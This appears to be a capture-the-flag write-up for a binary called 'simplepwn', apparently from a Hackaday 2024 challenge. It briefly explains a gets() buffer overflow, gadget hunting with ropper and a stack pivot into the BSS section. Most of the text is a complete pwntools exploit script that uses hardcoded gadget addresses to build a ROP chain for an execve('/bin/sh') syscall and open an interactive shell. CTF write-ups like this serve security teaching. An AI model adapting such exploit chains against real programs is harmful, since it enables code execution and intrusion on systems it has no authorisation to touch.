A statically compiled program has a gets function causing a buffer overflow.

image.png

We can't directly use a ROP chain, so we need to manually find gadgets to control registers. Use ropper --file=simplepwn --search "pop".

image.png

You can see that all the registers are available, but the rdi register has an \\x0a at the end, which is interpreted as the end of the string. This causes the ROP chain to be truncated. Additionally, the position of the bin_sh string is unknown, so the strategy is to first overflow and transfer control to the BSS section. Then, the ROP chain is laid out. Since pop rdi cannot be used directly, you have to manually search for a magic gadget that can assign a value to rdi.

image.png

The two gadgets can be used. pop rbx can be used directly, so just arrange the ROP chain accordingly.

image.png

image.png


Exploit Script (Exp)

from pwn import *
from LibcSearcher import *
from ctypes import *

# Start the process
io = process('./simplepwn')
elf = ELF('./simplepwn')

# Set context for debugging
context(log_level='debug', arch=elf.arch, os=elf.os)

# libC related setup
libc = elf.libc

# Debug function to attach GDB
def debug():
    gdb.attach(io, gdbscript="b *0x4011A2")
    pause()

# Function to get address from received data
def get_addr():
    return u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))

# Function to get the system address
def get_sys():
    return libcbase + next(libc.search(b'/bin/sh\\x00')), libcbase + libc.sym['system']

# Shortcuts for reading and writing
r = lambda num: io.recv(num)
ru = lambda data: io.recvuntil(data)
rl = lambda: io.recvline()
s = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
sla = lambda data, pay: io.sendlineafter(data, pay)
uu64 = lambda size: u64(io.recv(size).ljust(8, b'\\x00'))
uu32 = lambda size: u32(io.recv(size).ljust(4, b'\\x00'))
itr = lambda: io.interactive()
li = lambda x: print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')

# BSS section address + padding size
bss = 0x408220 + 0x300

# Gadget addresses (these values are found using ropper)
rdi = 0x000000000040230a
rax = 0x0000000000401001
rsi = 0x000000000040499b
rdx = 0x0000000000404514
rbp = 0x0000000000401123
syscall = 0x0000000000404676
rbx = 0x0000000000403fd5
magic = 0x00000000004048ff
leave = 0x4011A7

ru(b'Welcome to Hackaday 2024! This is a very simple challenge :)')

# First payload: overflow and jump to the BSS section
pay = b'/bin/sh\\x00' + b'a'*0x68 + p64(bss) + p64(0x401191)
sl(pay)

# Second payload: Set up the ROP chain for system call
pay = b'/bin/sh\\x00' + p64(rbx) + p64(0x4084b0) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall) * 5 + p64(magic) + p64(syscall)
pay += p64(bss) + p64(rbp) + p64(0x4084b0) + p64(rax) + p64(0x3b) + p64(leave)

# Sleep for a brief moment before sending the second payload
sleep(0.1)

# Send the second payload
sl(pay)

# Interact with the shell
itr()